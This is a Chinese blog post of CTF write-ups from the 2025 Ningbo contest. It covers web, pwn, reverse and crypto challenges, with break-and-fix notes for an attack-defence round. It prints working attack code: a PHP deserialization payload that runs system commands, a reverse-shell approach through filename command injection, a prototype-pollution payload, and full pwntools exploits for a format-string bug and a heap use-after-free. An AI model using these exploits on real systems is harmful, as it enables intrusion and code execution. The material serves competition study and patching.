Hack Your Heart

2025宁波市第八届网络安全大赛决赛Writeup

Sat, 06 Sep 2025 20:48:29 +0800

很幸运的拿到了榜一，队友太强了，AWDP玩的很少，不过这次break 和 fix都有成果。

Break 第一，Fix 第四

[web] easyUpload#

break#

F12检查图片，发现通过/show.php?file=img/1.png来读取

任意文件读取，flag被ban，读index.php源码

 1php
 2Class Dog {
 3    public $bone;
 4    public $meat;
 5    public $beef;
 6    public $candy;
 7    public function __invoke() {
 8        if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
 9            return $this->candy->flag;
10        }
11    }
12
13    public function __toString() {
14        $function = $this->bone;
15        return $function();
16    }
17}
18
19CLass mouse {
20    public $rice;
21
22    public function __get($key) {
23        @eval($this->rice);
24    }
25}
26
27class Cat {
28    public $fish;
29    public function __construct() {
30    }
31
32    public function __destruct() {
33        echo $this->fish;
34    }
35}
36
37// 处理文件上传
38$message = '';
39$success = false;
40if ($_SERVER['REQUEST_METHOD'] === 'POST') {
41    if (isset($_FILES['uploaded_file'])) {
42        $uploadDir = __DIR__ . '/uploads/';
43        $uploadedFile = $uploadDir . basename($_FILES['uploaded_file']['name']);
44
45        if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) {
46            $message = '上传成功！';
47            $success = true;
48
49            $fileContent = file_get_contents($uploadedFile);
50            @unlink($uploadedFile);
51
52            @unserialize($fileContent);
53            $fileContent = "";
54
55            // 设置 session，表示上传成功
56            $_SESSION['upload_success'] = true;
57
58            // 重定向，防止刷新页面时重复提交表单
59            header("Location: " . $_SERVER['PHP_SELF']);
60            echo $message;
61            exit();
62        }
63    }
64}
65?>
66
67
68...
69

easyUpload源码

php

反序列化，经过一个md5绕过

 1php
 2// 启动 session
 3session_start();
 4
 5Class Dog {
 6    public $bone;
 7    public $meat;
 8    public $beef;
 9    public $candy;
10    public function __invoke() {
11        if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
12            return $this->candy->flag;
13        }
14    }
15
16    public function __toString() {
17        $function = $this->bone;
18        return $function();
19    }
20}
21
22CLass mouse {
23    public $rice;
24
25    public function __get($key) {
26        @eval($this->rice);
27    }
28}
29
30class Cat {
31    public $fish;
32    public function __construct() {
33    }
34
35    public function __destruct() {
36        echo $this->fish;
37    }
38}
39
40
41$a = new Cat();
42$a->fish = new Dog();
43$a->fish->bone = new Dog();
44$a->fish->bone->meat = 's878926199a';
45$a->fish->bone->beef = 's155964671a';
46$a->fish->bone->candy = new mouse();
47$a->fish->bone->candy->rice = "system('cat /flag');";
48
49
50echo serialize($a);
51
52# O:3:"Cat":1:{s:4:"fish";O:3:"Dog":4:{s:4:"bone";O:3:"Dog":4:{s:4:"bone";N;s:4:"meat";s:11:"s878926199a";s:4:"beef";s:11:"s155964671a";s:5:"candy";O:5:"mouse":1:{s:4:"rice";s:20:"system('cat /flag');";}}s:4:"meat";N;s:4:"beef";N;s:5:"candy";N;}}

php

[web] img2base64#

break#

我觉得这题是最难的一题，现场也没几个人做出来

用到一些小trick

首先要绕一些字符，管道符截断，环境变量反弹shell，无密码读取文件

小明打ctf上头了，发什么消息都用编码发送，于是他搭建了一个web服务用来将图片进行base64编码，粗心的小明没有考虑安全问题，你能帮他看看吗?

平台给了源码

 1import os
 2import re
 3import subprocess
 4from flask import Flask, request, render_template, jsonify
 5
 6app = Flask(__name__)
 7
 8UPLOAD_FOLDER = 'uploads/'
 9if not os.path.exists(UPLOAD_FOLDER):
10    os.makedirs(UPLOAD_FOLDER)
11
12app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
13def checkname(filename):
14
15    ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
16    noip = re.compile(r"\d+\.\d+")
17    if re.search(ILLEGAL_CHARACTERS, filename):
18        return False
19    if ".." in filename :
20        return False
21    if(noip.findall(filename)):
22        return False
23
24
25@app.route('/')
26def upload_form():
27    return render_template('upload.html')
28
29@app.route('/upload', methods=['POST'])
30def upload_file():
31    if 'file' not in request.files:
32        return jsonify({"error": "No file part in the request"}), 400
33
34    file = request.files['file']
35    if file.filename == '':
36        return jsonify({"error": "No file selected"}), 400
37    if(checkname(file.filename)==False):
38        return jsonify({"error": "Not hacking!"}), 500
39    if file:
40        file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
41        file.save(file_path)
42        result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
43        encoded_string = result.stdout.strip()
44        return jsonify({
45            "filename": file.filename,
46            "base64": encoded_string
47        })
48
49if __name__ == '__main__':
50    app.run(host='0.0.0.0',port=5000)

img2base64源码

python

公告有提示反弹shell，那就先把反弹的命令写进文件

代码执行的是cat {file_path} | base64

先通过|截断命令，然后使用$0来执行 cat 输出的内容，也就是反弹shell的命令

$0代表本文件，$1代表第1个参数，以此类推。$#代表参数个数

监听端口

没权限读flag

sudo -l查看有权限的命令，然后在GTFOBins ↗ 查sudo语法

幸好本地部署了GTFOBins

不过这题队友出大力，推荐队友的一键部署环境脚本：https://github.com/dr0n1/CTF_misc_auto_deploy ↗

[web] genshop#

fix#

太逆天了，我正在加各种过滤，结果rot-will把函数去掉就过了。

ssti的模板去掉直接过了

1# return render_template_string(f"{result}
")
2return f"{result}
"

python

[web] Easy_shop#

break#

打开是一个商店购买页面

将购买数量改成负数，可以增加金钱

购买flag，得到/showflag路由

访问是一个文件读取功能，读取../app.js

  1const express = require('express');
  2const app = express();
  3const fs = require('fs');
  4const port = 3000;
  5const bodyParser = require('body-parser');
  6
  7app.set('view engine', 'ejs');
  8app.use(express.static('public'));
  9app.use(bodyParser.urlencoded({ extended: true }));
 10
 11let money = 1000;
 12const initialMoney = 1000;
 13let message = '';
 14const products = [
 15  { name: '帽子', price: 10 },
 16  { name: '棒球', price: 15 },
 17  { name: 'iphone', price: 150 },
 18  { name: 'flag', price: 1500 },
 19];
 20
 21app.get('/showflag', (req, res) => {
 22  res.render('readfile');
 23});
 24
 25app.post('/readfile', (req, res) => {
 26  const fileName = req.body.fileName;
 27
 28  if (fileName.includes("fl")) {
 29    return res.status(200).send('你还真读flag啊');
 30  }
 31  // 读取文件内容
 32  fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
 33    if (err) {
 34      res.status(500).send('Error reading the file');
 35    } else {
 36      res.send(data);
 37    }
 38  });
 39});
 40
 41
 42app.get('/', (req, res) => {
 43  res.render('index', { products, money, message });
 44});
 45
 46app.get('/buy/:productIndex', (req, res) => {
 47  const productIndex = req.params.productIndex;
 48  let quantity = req.query.quantity || 1; // 获取购买数量，默认为1
 49
 50  if (productIndex === '3') {
 51    quantity = Math.abs(quantity); // 取绝对值
 52    if (products[productIndex] && money >= products[productIndex].price * quantity) {
 53      money -= products[productIndex].price * quantity;
 54      message = `购买flag成功啦！给你/showflag这个路由，听说那里面有flag`;
 55
 56
 57      res.render('index', { products, money, message, showAlert: true });
 58    } else {
 59      message = 'flag很贵的';
 60      res.redirect('/');
 61    }
 62  }else{
 63    if (products[productIndex] && money >= products[productIndex].price * quantity) {
 64      money -= products[productIndex].price * quantity;
 65      message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"！`;
 66
 67      // 使用 JavaScript 弹窗来显示购买成功消息
 68      res.render('index', { products, money, message, showAlert: true });
 69    } else {
 70      message = '购买失败，钱不够啊老铁.';
 71      res.redirect('/');
 72    }
 73  }
 74});
 75
 76
 77
 78function copy(object1, object2) {
 79  if (typeof object1 !== 'object' || object1 === null ||
 80      typeof object2 !== 'object' || object2 === null) {
 81    return;
 82  }
 83
 84  for (let key in object2) {
 85    if (
 86      typeof object2[key] === 'object' &&
 87      object2[key] !== null &&
 88      typeof object1[key] === 'object' &&
 89      object1[key] !== null
 90    ) {
 91      copy(object1[key], object2[key]); // ✅ 安全递归
 92    } else {
 93      object1[key] = object2[key]; // ✅ 直接赋值
 94    }
 95  }
 96}
 97
 98
 99app.post('/getflag', require('body-parser').json(), function (req, res, next) {
100  res.type('html');
101  const flagFilePath = '/flag';
102  let flag = '';
103  fs.readFile(flagFilePath, 'utf8', (err, data) => {
104    if (err) {
105      console.error(`无法读取文件: ${flagFilePath}`);
106    } else {
107      flag = data; // 将文件内容赋值给flag变量
108      var secert = {};
109      var sess = req.session;
110      let user = {};
111      copy(user, req.body);
112      if (secert.testattack === 'admin') {
113        res.end(flag);
114
115      } else {
116        return res.send("no,no,no!");
117      }
118    }
119  });
120});
121
122
123app.get('/reset', (req, res) => {
124  money = initialMoney;
125  message = '';
126  res.redirect('/');
127});
128
129app.listen(port, () => {
130  console.log(`Server is running on http://localhost:${port}`);
131});

Easy_shop源码

逻辑很简单，copy函数有问题，一眼Node.js原型链污染

secert 是个空对象，但它和 user 在同一作用域下，需要控制 req.body 中的内容，污染secret

1{
2  "__proto__": {
3    "testattack": "admin"
4  }
5}

当时截的图：

这题刚开始没说读取../app.js，我在fuzz的时候居然读到了1.txt、2.txt、3.txt，分别是：

1在一个宁静的午后，阳光透过树叶洒在地面上，斑驳陆离。小镇的街道上行人稀少，只有微风轻轻拂过树梢，带来一丝初秋的凉意。远处传来几声悠扬的钟声，仿佛提醒人们，该是泡一壶茶、慢慢享受时光的时候了
2
3夜幕降临，城市的灯光次第亮起，仿佛点燃了沉睡的星辰。街角的咖啡店还亮着温暖的橘黄色灯光，一杯热饮静静地摆在窗边的桌上。外面车水马龙，人来人往，而屋内却是一方静谧的世界，时间在这里缓慢流淌，仿佛与喧嚣隔绝。
4
5清晨的山间薄雾弥漫，露珠挂在草叶上，闪烁着晶莹的光。远处传来鸟鸣声，唤醒了沉睡的森林。一位背着行囊的旅人正沿着蜿蜒的小径缓缓前行，每一步都踩在湿润的土地上，带着对未知的好奇，走向尚未被书写的旅程。

txt

出现7个一，所以我尝试读取f1111111ag，或者其他变体，都不行。或者按照早中晚的顺序，对文件名排序，312，那是不是响应码改成312响应码呢？可是没有这个响应码。直到给出hint，我才知道这个毫无用处，纯属迷惑人的。

fix#

只用修读取flag的关键漏洞就行，但我顺手把增加金钱数、任意文件读取这俩洞也修了。你还真读app.js啊 : )

 1app.post('/readfile', (req, res) => {
 2  const fileName = req.body.fileName;
 3
 4  if (fileName.includes("fl")) {
 5    return res.status(200).send('你还真读flag啊');
 6  }
 7  // 阻止读取源码
 8  if (fileName.includes("ap")) {
 9    return res.status(200).send('你还真读app.js啊');
10  }
11  // 读取文件内容
12  fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
13    if (err) {
14      res.status(500).send('Error reading the file');
15    } else {
16      res.send(data);
17    }
18  });
19});
20
21app.get('/buy/:productIndex', (req, res) => {
22  const productIndex = req.params.productIndex;
23  let quantity = req.query.quantity || 1; // 获取购买数量，默认为1
24
25  if (productIndex === '3') {
26    quantity = Math.abs(quantity); // 取绝对值
27    if (products[productIndex] && money >= products[productIndex].price * quantity) {
28      money -= products[productIndex].price * quantity;
29      message = `购买flag成功啦！给你/showflag这个路由，听说那里面有flag`;
30
31      res.render('index', { products, money, message, showAlert: true });
32    } else {
33      message = 'flag很贵的';
34      res.redirect('/');
35    }
36  }else{
37    // 模仿上面对数量做绝对值，防止购买负数增加金钱
38    quantity = Math.abs(quantity); // 取绝对值
39    if (products[productIndex] && money >= products[productIndex].price * quantity) {
40      money -= products[productIndex].price * quantity;
41      message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"！`;
42
43      // 使用 JavaScript 弹窗来显示购买成功消息
44      res.render('index', { products, money, message, showAlert: true });
45    } else {
46      message = '购买失败，钱不够啊老铁.';
47      res.redirect('/');
48    }
49  }
50});
51
52
53function copy(object1, object2) {
54  if (typeof object1 !== 'object' || object1 === null ||
55      typeof object2 !== 'object' || object2 === null) {
56    return;
57  }
58
59  for (let key in object2) {
60    // 过滤原型链污染常用字符串
61    if (key === 'outputFunctionName' || key === '__proto__' || key === 'constructor' || key === 'prototype' || key === 'return' || key === 'global' || key === 'process' || key === 'mainModule' || key === 'constructor' || key === 'child' || key === 'execSync' || key === 'escapeFunction' || key === 'client' || key === 'compileDebug') {
62      continue;
63    }
64
65    if (
66      typeof object2[key] === 'object' &&
67      object2[key] !== null &&
68      typeof object1[key] === 'object' &&
69      object1[key] !== null
70    ) {
71      copy(object1[key], object2[key]); // ✅ 安全递归
72    } else {
73      object1[key] = object2[key]; // ✅ 直接赋值
74    }
75  }
76}

Easy_shop_fix.js

[pwn] Cake_shop#

break#

存在格式化字符串

exp

 1from pwn import *
 2def nothing(data):
 3  p.sendlineafter(b'choice>>',b'4')
 4  p.sendlineafter(b'happens',data)
 5
 6def buy(num,data):
 7  p.sendlineafter(b'choice>>',b'1')
 8  p.sendlineafter(b'cake $100',str(num).encode())
 9  p.sendlineafter(b'shop',data)
10
11p=remote('10.1.108.15',9999)
12payload=b"aaa%15$p %13$p %17$pbbb"
13nothing(payload)
14p.readuntil(b'aaa')
15d0,d1,d2=p.readuntil(b'bbb',drop=1).split(b' ')
16elf_addr=int(d1,16)
17libc_addr=int(d2,16)
18e=ELF("./pwn")
19e.address=elf_addr-0x156a
20libc=ELF('./libc.so.6')
21libc.address=libc_addr-0x24083
22
23index=3+6
24a_addr=0x4010+e.address
25payload="%"+str(0xe0ff)+"c%9$hn%"+str(0x10000-0xe0ff+0x5f5)+"c%10$hn"
26payload=payload.ljust(24,'a').encode()
27print(payload)
28payload+=p64(a_addr)+p64(a_addr+2)
29nothing(payload)
30payload="%25600c%9$n".ljust(24,'a').encode()
31payload+=p64(0x4014+e.address)
32nothing(payload)
33
34context.log_level='debug'
35num=666
36p.sendlineafter(b'choice>>',b'1')
37p.sendlineafter(b'cake $100',str(num).encode())
38
39canary=int(d0,16)
40rdi=libc.address+0x23b6a
41ret=rdi+1
42bin_sh=next(libc.search('/bin/sh\x00'))
43system=libc.symbols['system']
44payload=b'a'*0x28+p64(canary)+p64(0xbfbfbfbf)
45payload+=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
46p.send(payload)
47
48
49p.interactive()

python

fix#

修改使用puts进行输出，成功修复

[pwn] stu_admin#

fix#

edit功能存在堆溢出，溢出了16字节

修复溢出

总结#

整体难度比往年都要简单，就是搞不懂为什么check的轮次这么少，只有两轮，而且不返回check的结果

队友很厉害，不过这次也没有拖后腿，还是有Break 和 Fix成果的。

]]>

2025宁波市第八届网络安全大赛初赛Writeup

Sun, 17 Aug 2025 16:17:12 +0800

今天上午初赛结束了，感谢两个队友带，dr0n ↗ 和Rot-will ↗

槽点有点多，比如几个题AI秒出，我觉得以后出题都要反AI了，可能就留一个签到题AI能做，如果反AI，可能我真啥都不会了

AI这东西做逆向和密码非常厉害，逆向读伪代码和分析加解密，而这正是LLMs擅长的理解能力。做Web和Misc不太行，因为这两个用到的工具和环境太多。

两个WEB都是平平无奇登陆框，都做不出来，给的hint也做不出来，但是闲鱼一把梭。。。

两个杂项也古怪，队友做麻了，什么二维码小点点、博多密码，rgb转换之类

还有，我们做完4题已经第三名了，其他实在做不出来，就算其他队伍跟我们做一样的题，我们有前三血，那也应该排前面

但是最后三十分钟，我们连掉三十多名，我刷新一下掉一名，他们全都爆发了，不过应该能进决赛

部分附件在：https://github.com/TajangSec/Ningbo-8th-CSC-Pre

PWN#

entity_cache#

存在uaf

 1from pwn import *
 2import LibcSearcher
 3def add(ind,size,data=b'\n'):
 4    p.sendlineafter(b'Code: ',b'1')
 5    p.sendlineafter(b'id >',str(ind).encode())
 6    p.sendlineafter(b'size >',str(size).encode())
 7    p.sendafter(b'fragment >',data)
 8
 9def edit(ind,data):
10    p.sendlineafter(b'Code: ',b'2')
11    p.sendlineafter(b'id >',str(ind).encode())
12    p.sendafter(b'stream >',data)
13
14def free(ind):
15    p.sendlineafter(b'Code: ',b'3')
16    p.sendlineafter(b'id >',str(ind).encode())
17
18def show(ind):
19    p.sendlineafter(b'Code: ',b'4')
20    p.sendlineafter(b'id > ',str(ind).encode())
21
22
23#p=process('entity_cache')
24p=remote('139.155.126.78','26428')
25p.readuntil('[DEBUG INFO]')
26e=ELF('./entity_cache')
27libc=ELF('./libc.so')
28e.address=int(p.readline(),16)-0xa1a
29print(hex(e.address))
30
31syscall=e.address+0xbcc
32add(0,0xf0)
33add(1,0xf0)
34add(2,0xf0,'flag')
35add(3,0xf0,'/flag')
36free(0)
37free(1)
38show(1)
39heap0=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
40print(hex(heap0))
41heap3=heap0+0x100*3
42heap2=heap0+0x100*2
43
44edit(1,p64(e.address+0x202060))
45add(4,0xf0)
46add(5,0xf0) # cache
47edit(5,p64(e.got['puts']))
48show(0)
49puts=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
50print(hex(puts))
51libc.address=puts-libc.symbols['puts']
52env=libc.symbols['environ']
53
54edit(5,p64(env))
55show(0)
56stack=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00')[:8])
57print(hex(stack))
58edit(5,p64(stack-0x120+8*2))
59show(0)
60stack1=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00')[:8])
61print(hex(stack1))
62
63
64main_stack=stack-0x120+8*2
65edit(5,p64(main_stack))
66#gdb.attach(p)
67pause()
68
69rdi=0x000000000002164f+libc.address
70rsi=0x0000000000023a6a+libc.address
71rdx=0x0000000000001b96+libc.address
72rax=0x000000000001b500+libc.address
73payload=b""
74payload=p64(rax)+p64(2)+p64(rdi)+p64(heap3)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(syscall)
75payload+=p64(rax)+p64(0)+p64(rdi)+p64(3)+p64(rsi)+p64(heap2)+p64(rdx)+p64(0x50)+p64(syscall)
76payload+=p64(rax)+p64(1)+p64(rdi)+p64(1)+p64(rsi)+p64(heap2)+p64(rdx)+p64(0x50)+p64(syscall)
77print(hex(len(payload)))
78edit(0,payload)
79
80p.interactive()

python

REVERSE#

SEA_1#

我不太会逆向，AI告诉我这是AES_ECB

其他选手说，贴在claude desktop或者vscode 的mcp里面，AI秒出，自己根本不用动

伪代码：

 1int __cdecl main(int argc, const char **argv, const char **envp)
 2{
 3  size_t i; // [esp+190h] [ebp-268h]
 4  int v5[72]; // [esp+19Ch] [ebp-25Ch] BYREF
 5  char v6[44]; // [esp+2BCh] [ebp-13Ch] BYREF
 6  char Buf1[136]; // [esp+2E8h] [ebp-110h] BYREF
 7  char Str[132]; // [esp+370h] [ebp-88h] BYREF
 8
 9  __CheckForDebuggerJustMyCode(&unk_45A019);
10  memset(Str, 0, 0x80u);
11  memset(Buf1, 0, 0x80u);
12  sub_401E00("Please input the flag and I will verify it: ");
13  sub_401E70("%128s", Str);
14  strcpy(v6, "58453eec4d16ae234a10b597dfe1f6a6");
15  if ( sub_4016B0(v5, v6, 256) )
16    return -1;
17  for ( i = 0; i < strlen(Str); i += 16 )
18  {
19    if ( sub_401410((int)v5, (int)&Buf1[i], &Str[i]) )
20      return -1;
21  }
22  if ( !memcmp(Buf1, &unk_458014, 0x30u) )
23    sub_401E00("Right flag!\n");
24  else
25    sub_401E00("Wrong flag\n");
26  return 0;
27}

AES加密，密钥是58453eec4d16ae234a10b597dfe1f6a6，密文是unk_458014，dump出来是29708f1980cce40f46abac148d488ca83716fe1d397202797b1999166265623e8f761285cb28e256b381167761e41094

cyberchef解开：DASCTF{75aab2560274ae21aa4554b993e658d1}

flower_world#

  1  97704D -= 120;
  2  977070 ^= 0x4Fu;
  3  977055 -= 30;
  4  977064 -= 93;
  5  977048 += 95;
  6  97704A += 103;
  7  97705C ^= 0x82u;
  8  977069 += 52;
  9  97705E ^= 3u;
 10  977041 += 71;
 11  977076 ^= 0xE0u;
 12  97706D -= 44;
 13  977044 -= 127;
 14  977075 -= 71;
 15  977060 ^= 0xAAu;
 16  97704E -= 119;
 17  977062 ^= 0xAu;
 18  97707D -= 48;
 19  977075 += 55;
 20  97705B += 111;
 21  97706E ^= 0x32u;
 22  97706C -= 92;
 23  97705F ^= 0x29u;
 24  977041 += 79;
 25  97704A += 58;
 26  977062 -= 17;
 27  97705A += 123;
 28  977075 -= 100;
 29  97705C -= 64;
 30  977056 -= 89;
 31  977070 ^= 0x73u;
 32  977062 ^= 0x61u;
 33  97706E += 118;
 34  977062 += 41;
 35  977070 += 78;
 36  977055 -= 11;
 37  97704F ^= 0x5Eu;
 38  977070 ^= 0xB2u;
 39  977066 -= 66;
 40  977046 ^= 0xECu;
 41  977062 ^= 0xD1u;
 42  977046 -= 99;
 43  977069 -= 49;
 44  977046 += 32;
 45  977066 += 61;
 46  977042 ^= 0x42u;
 47  977055 += 109;
 48  977070 += 14;
 49  97707B -= 52;
 50  97706E -= 94;
 51  977074 += 57;
 52  97705D -= 30;
 53  97705E -= 107;
 54  977048 += 55;
 55  97704C -= 27;
 56  97706F -= 88;
 57  97707A -= 105;
 58  977040 += 25;
 59  97704C += 73;
 60  97706F -= 80;
 61  977070 += 125;
 62  97706E -= 44;
 63  97707A += 11;
 64  977068 ^= 0x57u;
 65  977062 += 117;
 66  977056 += 92;
 67  97705B ^= 0x7Au;
 68  977043 += 33;
 69  977045 ^= 0xC3u;
 70  97705E += 19;
 71  977064 -= 46;
 72  977065 -= 45;
 73  977067 ^= 0xB0u;
 74  97704F -= 69;
 75  977061 ^= 0xDCu;
 76  977046 += 69;
 77  97707E += 116;
 78  97704B ^= 0x22u;
 79  977063 ^= 0x7Eu;
 80  977054 += 18;
 81  977072 -= 11;
 82  97704E ^= 5u;
 83  97706E += 58;
 84  977048 += 44;
 85  97706D ^= 0xE4u;
 86  977068 -= 30;
 87  977063 += 96;
 88  977047 -= 49;
 89  977062 += 83;
 90  97707A += 53;
 91  97706A ^= 0x21u;
 92  97707C += 49;
 93  97705B += 11;
 94  977070 -= 105;
 95  977063 -= 47;
 96  977073 -= 67;
 97  977047 += 94;
 98  97707E += 78;
 99  97704F -= 96;
100  97707A ^= 0xD3u;
101  977043 += 115;
102  97705E -= 127;
103  97707A -= 86;
104  977074 += 32;
105  977067 ^= 0x5Cu;
106  977049 -= 64;
107  97706B ^= 0x8Eu;
108  97707E += 121;
109  977054 -= 98;
110  977074 ^= 0x22u;
111  97704F -= 12;
112  977045 ^= 0x2Du;
113  97707C -= 44;
114  97704D -= 74;
115  977061 ^= 0x82u;
116  977068 ^= 0xEDu;
117  977071 ^= 0xBEu;
118  977077 += 4;
119  97705E -= 120;
120  97704B += 67;
121  977072 -= 52;
122  977042 ^= 0x87u;
123  977067 -= 38;
124  97707B ^= 0xFAu;
125  977072 += 90;
126  97706E -= 9;
127  977077 ^= 0x2Fu;
128  977049 += 83;
129  97706B ^= 0xD6u;
130  977062 -= 6;
131  977048 -= 119;
132  977061 -= 118;
133  977062 -= 75;
134  977068 -= 52;
135  977040 -= 108;
136  97706A += 28;
137  97707C ^= 0x4Cu;
138  97706C ^= 0x4Au;
139  977061 ^= 0xFDu;
140  977063 += 125;
141  977041 ^= 0x6Cu;
142  977075 += 25;
143  977071 -= 7;
144  97707D -= 119;
145  97706F -= 16;
146  977064 += 53;
147  977066 ^= 0x56u;
148  977042 ^= 0xF2u;
149  97706B += 115;
150  977055 -= 37;
151  977072 -= 51;
152  977041 -= 107;
153  97704F -= 116;
154  97705C += 46;
155  977065 -= 67;
156  97704C += 113;
157  977061 += 114;
158  97704E += 69;
159  977060 += 99;
160  977064 ^= 0x88u;
161  977079 -= 37;
162  97705E ^= 0x76u;
163  977070 += 95;
164  97707A += 51;
165  977074 ^= 0xD3u;
166  97704F -= 86;
167  977040 -= 6;
168  97707C -= 8;
169  977071 ^= 0x30u;
170  97705B += 29;
171  977070 += 65;
172  97705D ^= 0xEEu;
173  977047 -= 31;
174  977061 -= 16;
175  977071 += 9;
176  977064 -= 46;
177  977049 ^= 0xDEu;
178  977054 ^= 0x6Du;
179  977065 -= 91;
180  977077 += 119;
181  97707D -= 8;
182  --977061;
183  977075 += 124;
184  977068 += 3;
185  977059 -= 22;
186  977060 ^= 0xD3u;
187  977072 ^= 0xA4u;
188  977040 ^= 0xA8u;
189  97707F += 50;
190  97707E ^= 0x4Du;
191  977070 += 60;
192  97704B += 49;
193  97707B += 3;
194  97706A -= 20;
195  977060 -= 38;
196  977063 -= 2;
197  97707B -= 108;
198  97707E -= 71;
199  97706E += 111;
200  977040 ^= 0xD9u;
201  97704E += 76;
202  97706F ^= 0xF6u;
203  97705B += 26;
204  977040 -= 27;
205  977060 -= 80;
206  977078 -= 27;
207  97705B += 7;
208  ++977073;
209  977075 ^= 0xDDu;
210  977043 -= 127;
211  977072 += 116;
212  977069 -= 70;
213  977065 ^= 0x9Bu;
214  977059 -= 34;
215  97704B -= 127;
216  97707F ^= 0xBu;
217  977058 -= 65;
218  97704B ^= 0x83u;
219  977059 ^= 0xB6u;
220  977067 -= 25;
221  977042 -= 94;
222  977061 ^= 0x7Eu;
223  977072 -= 69;
224  977077 -= 72;
225  977060 ^= 0xF7u;
226  977043 -= 11;
227  977069 ^= 0x64u;
228  977075 ^= 0xEu;
229  977073 -= 111;
230  977065 ^= 0x7Au;
231  97706B -= 7;
232  977060 += 103;
233  97707D ^= 0xF4u;
234  977077 += 16;
235  97705C ^= 0x89u;
236  977041 -= 20;
237  97707A ^= 0x3Fu;
238  97704D -= 31;
239  977073 += 98;
240  977073 -= 5;
241  977061 -= 30;
242  97704C += 73;
243  977054 -= 6;
244  977071 ^= 0x56u;
245  97705B ^= 3u;
246  977055 -= 119;
247  97706D += 37;
248  97705E += 4;
249  977044 -= 48;
250  977076 ^= 0xF4u;
251  977053 ^= 0x10u;
252  977059 ^= 0x47u;
253  977060 ^= 0xE2u;
254  97704E -= 16;
255  97705E ^= 0xD2u;
256  977042 += 70;
257  977060 -= 91;
258  977041 ^= 0x12u;
259  977042 -= 81;
260  977047 += 92;
261  977055 -= 77;
262  97705D ^= 0x7Du;
263  977070 ^= 0x4Au;
264  977074 -= 25;
265  977074 -= 127;
266  97704B += 121;
267  97706C += 64;
268  97707A ^= 0x58u;
269  97704B -= 123;
270  977078 += 42;
271  977071 -= 89;
272  97707E ^= 0x99u;
273  977043 -= 6;
274  977045 ^= 0x7Du;
275  977042 -= 14;
276  977064 += 96;
277  977058 += 26;
278  97706E += 54;
279  977052 -= 86;
280  97705D ^= 0x4Eu;
281  977055 -= 15;
282  977078 -= 32;
283  977057 += 75;
284  97706E += 66;
285  977053 += 101;
286  97705E -= 59;
287  97706B ^= 0xFAu;
288  977042 += 93;
289  977073 -= 123;
290  97707C += 31;
291  977064 ^= 0xA2u;
292  977073 -= 32;
293  97705A ^= 0x11u;
294  97707D += 121;
295  977074 -= 99;
296  977054 ^= 0x68u;
297  97706D -= 75;
298  977041 -= 117;
299  977043 += 92;
300  977041 += 88;
301  97704D -= 4;
302  977052 ^= 0x43u;
303  97704B += 8;
304  97706A -= 82;
305  977055 += 56;
306  977049 += 43;
307  977075 ^= 0xD1u;
308  97705D ^= 0x1Bu;
309  977052 -= 74;
310  97707B -= 104;
311  977073 -= 6;
312  977053 -= 120;
313  977043 -= 6;
314  977069 -= 2;
315  97705E ^= 0xFEu;
316  97707E ^= 0x45u;
317  977052 += 5;
318  977068 ^= 0x36u;
319  977051 -= 42;
320  977050 ^= 0xD6u;

1.txt

txt

 1d=open('1.txt').read().splitlines()
 2data=[ 0x7F, 0x11, 0x4A, 0x9D, 0xA5, 0xD5, 0x99, 0x9F, 0xAC, 0xD3, 
 3  0xD4, 0xBC, 0x1A, 0x53, 0x46, 0xF4, 0xE7, 0x37, 0x03, 0x60, 
 4  0x17, 0xBA, 0x67, 0xAC, 0x09, 0xDA, 0xA0, 0xFB, 0x2D, 0x8E, 
 5  0xCB, 0x11, 0x02, 0xC4, 0x17, 0xF7, 0x1B, 0x8F, 0x67, 0x52]
 6e={}
 7base=0x977040
 8def parse_int(s):
 9  if '0x' in s:
10    return int(s,16)
11  else:
12    return int(s)
13for i in d:
14  i=i.strip().strip(';')
15
16  if '-' in i:
17    if ('--' in i):
18      value=1
19      addr=int(i.strip('-'),16)-base
20    else:
21      value=parse_int(i.split('-=')[1].strip(';u'))
22      addr=int(i.split()[0],16)-base
23    state=0
24  elif '^' in i:
25    value=parse_int(i.split('^=')[1].strip(';u'))
26    addr=int(i.split()[0],16)-base
27    state=1
28  elif '+' in i:
29    if ('++' in i):
30      value=1
31      addr=int(i.strip('+'),16)-base
32    else:
33      value=parse_int(i.split('+=')[1].strip(';u'))
34      addr=int(i.split()[0],16)-base
35    state=2
36  else:
37    continue
38  if (e.get(addr)==None):
39    e[addr]=[]
40  e[addr].append((state,value))
41
42print(e[0])
43for i in e:
44  if i>=len(data):
45    continue
46  for state,value in e[i][::-1]:
47    # print(state,value)
48    if state==0:
49      data[i]+=value
50    elif state==1:
51      data[i]^=value
52    elif state==2:
53      data[i]-=value
54    data[i]=data[i]&0xff
55print(bytes(data))

shell

CRYPTO#

Three-prime RSA#

https://chatgpt.com/share/68a14d43-ab10-800b-bbee-7e4511dfaaea ↗

AI太猛了

从 r_cubed 恢复 r

r = int(round(r_cubed ** (1/3)))

从 D 中恢复 (p+q+r) 和 random_num 题目中 random_num 是一个 28 位质数，p+q+r 大约 512~514 位。因为 (p+q+r)*random_num < n，所以 D 没有取模的影响：

1random_num = 254766409  # 可通过简单分解D得到
2s = D // random_num     # 得到 s = p + q + r

python

求p+q

p_plus_q = s - r

解一元二次方程得到 p 和 q 方程：x^2 - (p+q)x + p*q = 0

1from sympy import symbols, solve
2x = symbols('x')
3sols = solve(x**2 - p_plus_q*x + pq, x)
4p, q = int(sols[0]), int(sols[1])

计算 d 并解密

1from Crypto.Util.number import long_to_bytes, inverse
2e = 65537
3d = inverse(e, (p-1)*(q-1)*(r-1))
4m = pow(c, d, n)
5flag = long_to_bytes(m)
6print(flag)

